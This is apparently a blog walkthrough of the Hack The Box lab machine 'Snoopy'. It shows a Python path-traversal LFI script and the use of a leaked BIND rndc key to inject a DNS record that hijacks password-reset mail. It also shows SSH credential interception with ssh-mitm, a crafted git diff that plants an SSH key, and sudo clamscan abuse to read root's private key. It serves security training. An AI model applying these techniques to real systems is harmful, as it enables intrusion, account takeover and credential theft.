Skip to main content
  1. Posts/

Snoopy - HTB

·13 mins
htb

We begin with a port scan:

└─ nmap -sC -sV 10.129.189.160
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 21:50 EDT
Nmap scan report for 10.129.189.160
Host is up (0.040s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ee6bcec5b6e3fa1b97c03d5fe3f1a16e (ECDSA)
|_  256 545941e1719a1a879c1e995059bfe5ba (ED25519)
53/tcp open  domain  ISC BIND 9.18.12-0ubuntu0.22.04.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.18.12-0ubuntu0.22.04.1-Ubuntu
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: SnoopySec Bootstrap Template - Index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.31 seconds

We see on this first page that SnoopySec provides some kind of DevSecOps service and we can download their release package and a recent announcement.

Downloading the recent announcement shows us this link: snoopy.htb/download?file=announcement.pdf

So, we can add snoopy.htb to our hosts file and see if we can get any LFI to work.

So, it looks like it works but we are seeing it get encoded as a zip file. We can download these files manually from the site and unzip them, but it might be easier to make a python script that does this for us.

import sys
import os
import requests
from zipfile import ZipFile

def main():
    if len(sys.argv) < 2:
        print("Usage: python lfi.py <filename>")
        sys.exit(1)

    filename = sys.argv[1]
    url = f"http://snoopy.htb/download?file=....//....//....//....//....//..../{filename}"
    output_zip = os.path.join(os.getcwd(), "out.zip")

    # Download the file
    response = requests.get(url)
    if response.status_code == 404:
        print(f"not found file: {filename}")
        sys.exit(1)

    with open(output_zip, "wb") as f:
        f.write(response.content)

    # Check if the file size is 0
    if os.path.getsize(output_zip) == 0:
        print(f"not found file: {filename}")
        sys.exit(1)

    # Extract the contents of the zip file
    with ZipFile(output_zip, "r") as zip_ref:
        zip_ref.extractall(os.getcwd())

    # Print the content of the press_package file
    press_package_file = f"press_package{filename}"
    with open(press_package_file, "r") as f:
        print(f.read())

if __name__ == "__main__":
    main()
           

We can get the passwd file to see some potential users:

└─$ python3 lfi.py /etc/passwd         
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
---SNIP---
cbrown❌1000:1000:Charlie Brown:/home/cbrown:/bin/bash
sbrown❌1001:1001:Sally Brown:/home/sbrown:/bin/bash
clamav❌1002:1003::/home/clamav:/usr/sbin/nologin
---SNIP---

So we’ve got a few users to keep our eyes peeled for as we continue enumerating.

I don’t really know where I might look yet so I decide to go back to the page and search for more details that might be worth investigating.

When looking in the contact section of the page we see that there is some migration going on with the target’s mail server. I wanted to try subdomain enumeration at this point to see if we can figure out what their new mail server is.

└─$ ffuf -w ~/../../usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://snoopy.htb/ -H "Host:FUZZ.snoopy.htb" --fl 481

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://snoopy.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.snoopy.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response lines: 481
________________________________________________

[Status: 200, Size: 3132, Words: 141, Lines: 1, Duration: 43ms]
    * FUZZ: mm

:: Progress: [19966/19966] :: Job [1/1] :: 980 req/sec :: Duration: [0:00:22] :: Errors: 0 ::

We see one subdomain is found called mm.snoopy.htb so I add it to my hosts file and keep looking around.

At this point I initially got stuck and figured that I would have to look for more places to look. This is where I was given a hint from someone where I was only told to look for named.conf.

At this point I thought: What is named.conf?

Well, it is found in the /etc/bind directory and the named.conf file is the config file for the BIND nameserver. BIND is one of the most widely used DNS server implementations.

This immediately starts ringing bells with the port scan results from earlier showing port 53 open and running a BIND server. Not only that, but the website is screaming for us to look at the config file by mentioning that they are migrating their DNS records to their new domain.

Knowing why we might look at this file, let’s examine it at the /etc/bind/named.conf location.

└─$ python3 lfi.py /etc/bind/named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the 
// structure of BIND configuration files in Debian, *BEFORE* you customize 
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local

include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";

key "rndc-key" {
    algorithm hmac-sha256;
    secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};

So, some of the wheels are starting to turn, but I still don’t really know where to go with this yet.

After looking at the subdomain we discovered, we see it is a domain for mattermost, which is a messaging application for businesses.

We can try to run a forgot password for sbrown, of the interesting users that we saw earlier in the passwd file and on the team section of the first page:

Knowing her email address, let’s try to reset the password for their Mattermost account:

Now, we know this isn’t because they don’t have an account because when we use a fake email we get this message:

This is evidence that the mail server that the target is migrating, mail.snoopy.htb, is the same one that hosts the mail accounts used by the client.

I had to do a bunch of brushing up on how DNS works and how we might be able to use these circumstances to our advantage.

First, let’s briefly go over how the DNS works:

  • A user may request to view a website by its URL, where the browser will ask the DNS resolver. It will ask the DNS provided by the ISP (Internet Service Provider) first.
  • If the resolver finds the IP address associated with the domain name, it will send it back to the browser. Otherwise, the resolver will check the cache for the right address.
  • If the cache doesn’t have the address, the resolver will send a query to the root DNS server, which will respond with a referral to the appropriate TLD, or Top-Level-Domain.
  • The TLD server will provide a referral to the authoritative DNS server for the given domain.
  • With this referral, our resolver will send a query to the authoritative DNS server which will return with the IP address associated with the domain name.

Now, in our circumstance we have the secret key in the DNS configuration that we got with LFI.

We might be able to use that secret to modify the DNS configuration on the computer that is hosting the website, which could give us the ability to host our own mail server that can receive the password reset email which is mistakenly being sent to the old mail server mail.snoopy.htb.

The next question to ask is how we would actually do this. This is where we need to talk about DNS records. In short, the record that the DNS resolver is looking for is called an “A record” and this record is what maps the IP address to a domain name.

For example, a given DNS A record might look like this:

example.com.  3600  IN  A  192.0.2.1

This A record maps the domain example.com to the IP address 192.0.2.1, with a TTL of 3600 seconds (1 hour).

Putting all this together, we should be able to use that secret from earlier to update the DNS server with our malicious A record. Then when we try to reset the password for the sbrown user, it will sent the password reset link to our mail server and we can use that to change the password for the user.

First, let’s start up an SMTP (Simple Mail Transfer Protocol) server on our machine:

└─$ sudo python -m smtpd -n -c DebuggingServer 10.10.14.162:25
[sudo] password for kali: 
---SNIP---

We need to use -n to specify that we aren’t requiring authentication. We specify -c DebuggingServer because that server class prints all the output when it receives messaged. The standard port for SMTP is port 25, so we set that explicitly.

Then, we need to push that record to the target DNS server:

└─$ nsupdate -d -y hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=
Creating key...
namefromtext
keycreate
> server snoopy.htb
> update add mail.snoopy.htb. 900 IN A 10.10.14.162
> send
Reply from SOA query:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id:  56985
;; flags: qr aa; QUESTION: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;mail.snoopy.htb.		IN	SOA

;; AUTHORITY SECTION:
snoopy.htb.		0	IN	SOA	ns1.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604800 86400

---SNIP---

Then you can try to request the password for sbrown and you’ll get the email for the password reset:

---SNIP---
b''
b'Reset Password ( http://mm.snoopy.htb/reset_password_complete?token=3Dbgwat='
b'63fa3iujt3yc4zx8ug9bwro6u58f583pwocrkqe5s31msphcb7jntds57e3 )'
b''
b'The password reset link expires in 24 hours.'
b''
---SNIP---

After trying and failing a few times, you’ll find out that you need to get rid of the 3D at the beginning of the request for the reset to work:

Now that we reset it we can log in:

Looking around the site, we see that we are able to use some commands:

One of these commands is called server_provision which appears to be used to send a request to IT when we want to provision a new server. I want to try and see what happens if we listen on the specified port and try to provision our own IP address:

On our listener, we see this:

└─$ nc -lvp 2222
listening on [any] 2222 ...
connect to [10.10.14.162] from snoopy.htb [10.129.189.160] 54580
SSH-2.0-paramiko_3.1.0

So, it is trying to initiate an SSH connection, but nc isn’t able to simulate that connection. We also get a direct message from cbrown where they say that they will handle it (our server provision) later on.

We can install a tool called ssh-mitm that should allow us to gather more details about the incoming connection attempt.

We can install it like this:

└─$ python3 -m pip install ssh-mitm

Then, we can set up the module like this:

└─$ python3 -m sshmitm server --enable-trivial-auth --remote-host 10.129.189.160 --listen-port 2222

Once we try to provision our server again, we see the following:

───────────────────────── SSH-MITM - ssh audits made simple ─────────────────────────
Version: 3.0.2
License: GNU General Public License v3.0
Documentation: https://docs.ssh-mitm.at
Issues: https://github.com/ssh-mitm/ssh-mitm/issues
─────────────────────────────────────────────────────────────────────────────────────
generated temporary RSAKey key with 2048 bit length and fingerprints:
   MD5:08:44:c9:1e:be:5a:ae:4e:b2:bc:c7:5c:a4:7e:2a:1a
   SHA256:Ff1Y3x6XkiEdyrUJk2+MbnahB0CY9YvUCdjEYaYI0nw
   SHA512:xH5tLGOzfTUE4NlT33KNQqBvQ794flIEiXdQgVVGdPiuc/BAgitjXvLCQTxkDnUSMYsLqcxnHl+bIE79Pq9TIA
listen interfaces 0.0.0.0 and :: on port 2222
────────────────────────────── waiting for connections ──────────────────────────────
[05/10/23 01:21:06] INFO     ℹ session                                               
                             dc2fc1c2-4f9e-4c2e-9fb8-42936a980fb2     
                             created                                                 
                    INFO     ℹ client information:                     
                               - client version: ssh-2.0-paramiko_3.1.0
                               - product name: Paramiko                              
                               - vendor url:  https://www.paramiko.org/              
                             ⚠ client audit tests:                        
                               * client uses same server_host_key_algorithms list 
                             for unknown and known hosts                             
                               * Preferred server host key algorithm: ssh-ed25519    
                    INFO     Remote authentication succeeded           
                                     Remote Address: 10.129.189.160:22               
                                     Username: cbrown                                
                                     Password: sn00pedcr3dential!!!                  
                                     Agent: no agent                                 
                    INFO     ℹ dc2fc1c2-4f9e-4c2e-9fb8-42936a980fb2 - 
                             local port forwading                                    
                             SOCKS port: 43417                  
                               SOCKS4:                                         
                                 * socat: socat                          
                             TCP-LISTEN:LISTEN_PORT,fork                             
                             socks4:127.0.0.1:DESTINATION_ADDR:DESTINATION_PORT,socks
                             ort=43417                                            
                                 * netcat: nc -X 4 -x localhost:43417    
                             address port                                         
                               SOCKS5:                                         
                                 * netcat: nc -X 5 -x localhost:43417    
                             address port                                         
[05/10/23 01:21:07] INFO     got ssh command: ls -la                                 
                    INFO     ℹ dc2fc1c2-4f9e-4c2e-9fb8-42936a980fb2 - 
                             session started                                         
[05/10/23 01:21:08] INFO     got remote command: ls -la                              
                    INFO     remote command 'ls -la' exited with code: 0             
                    ERROR    Socket exception: Connection reset by peer (104)        
                    INFO     ℹ session                                               
                             dc2fc1c2-4f9e-4c2e-9fb8-42936a980fb2     
                             closed                                                  

This gives us a password for the cbrown user. Let’s try to use it to log in to SSH:

└─$ ssh cbrown@snoopy.htb             
cbrown@snoopy.htb's password: 

cbrown@snoopy:~$ 

Nice, we have a foothold but we don’t have our user flag yet. Let’s see what cbrown can do with sudo:

cbrown@snoopy:~$ sudo -l
[sudo] password for cbrown: 
Matching Defaults entries for cbrown on snoopy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User cbrown may run the following commands on snoopy:
    (sbrown) PASSWD: /usr/bin/git apply *

So, we can apply patches with git with sbrown’s level of privilege. This should allow us to change files, so long as we manipulate the diff file we use to apply the patch.

We can make an SSH key and make a diff file that shows its creation, then we can edit the path that is changed and add in the SSH key that we generate:

First, we generate a key:

cbrown@snoopy:~$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/cbrown/.ssh/id_rsa): id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:8I62ZUrK8MFTv0uGSoEuevWLcpyT86nyVuYgUJ6c1dU cbrown@snoopy.htb
The key's randomart image is:
+---[RSA 3072]----+
|     . ...       |
|  . . .   E      |
| + +  .          |
|. =.   o         |
| .. . . S        |
| ...ooo=         |
|. o+=O= B        |
|..+=OOoO .       |
|.. *O=*.o.       |
+----[SHA256]-----+

cbrown@snoopy:~$ cat id_rsa.pub
ssh-rsa AAAAB3
---SNIP---
8pVs= cbrown@snoopy.htb

Next, we can make the diff file and move it to the /tmp directory.

cbrown@snoopy:~$ cd ../
cbrown@snoopy:/home$ git diff cbrown/.bash_history cbrown/.ssh/authorized_keys > /tmp/diff
cbrown@snoopy:/home$ cat /tmp/diff
diff --git a/cbrown/.bash_history b/cbrown/.bash_history
deleted file mode 120000
index dc1dc0c..0000000
--- a/cbrown/.bash_history
+++ /dev/null
@@ -1 +0,0 @@
-/dev/null
\ No newline at end of file
diff --git a/cbrown/.ssh/authorized_keys b/cbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..e69de29

Now, we want to change this file to make it seem like we changed sbrown’s SSH key and add the file that we generated:

cbrown@snoopy:/home$ vim /tmp/diff 
cbrown@snoopy:/home$ cat /tmp/diff 
diff --git a/sbrown/.bash_history b/sbrown/.bash_history
deleted file mode 120000
index dc1dc0c..0000000
--- a/sbrown/.bash_history
+++ /dev/null
@@ -1 +0,0 @@
-/dev/null
\ No newline at end of file
diff --git a/sbrown/.ssh/authorized_keys b/sbrown/.ssh/authorized_keys
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/sbrown/.ssh/authorized_keys
@@ -0,0 +1 @@
+ssh-rsa AAAAB3-----8pVs= cbrown@snoopy.htb

Finally, we can apply the change with sudo as sbrown and then we should be able to use our private key to log in.

cbrown@snoopy:/home$ sudo -u sbrown /usr/bin/git apply /tmp/diff 
cbrown@snoopy:/home$ cd 
cbrown@snoopy:~$ ssh -i id_rsa sbrown@snoopy.htb

sbrown@snoopy:~$

Sweet, we got our user flag. Now let’s try to escalate our privileges to root.

sbrown@snoopy:~$ sudo -l
Matching Defaults entries for sbrown on snoopy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan

We can run a program called clamscan, which is a malware analysis tool. The manual for clamscan lets us use -f to specify a file to scan. Let’s try it out on the user flag and see what we get:

sbrown@snoopy:~$ sudo /usr/local/bin/clamscan -f user.txt 
LibClamAV Warning: **************************************************
LibClamAV Warning: ***  The virus database is older than 7 days!  ***
LibClamAV Warning: ***   Please update it as soon as possible.    ***
LibClamAV Warning: **************************************************
Loading:    21s, ETA:   0s [========================>]    8.66M/8.66M sigs       
Compiling:   5s, ETA:   0s [========================>]       41/41 tasks 

6c989a24ce48a4295f2e52c24d396a66: No such file or directory
WARNING: 6c989a24ce48a4295f2e52c24d396a66: Can't access file

----------- SCAN SUMMARY -----------
Known viruses: 8659055
Engine version: 1.0.0
Scanned directories: 0
Scanned files: 0
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 28.887 sec (0 m 28 s)
Start Date: 2023:05:10 05:57:20
End Date:   2023:05:10 05:57:49
sbrown@snoopy:~$ 

It looks like that is all we need to read files as root. We can do the same thing for the root flag. Or if you want a shell you can download root’s private key:

sbrown@snoopy:~$ sudo /usr/local/bin/clamscan -f /root/.ssh/id_rsa

Once you’ve gotten to this point, that’s all you need to log in as root.

Related

Coder - HTB
·21 mins
htb
Begin with a port scan: └─$ nmap -sC -sV -Pn 10.129.69.238 Starting Nmap 7.
Escape - HTB
·15 mins
htb
We begin with a port scan: └─$ sudo nmap -sV -Pn 10.129.25.141 Starting Nmap 7.
Investigation - HTB
·8 mins
htb
We can begin with an nmap scan: └─$ nmap -sC -sV 10.129.9.176 Starting Nmap 7.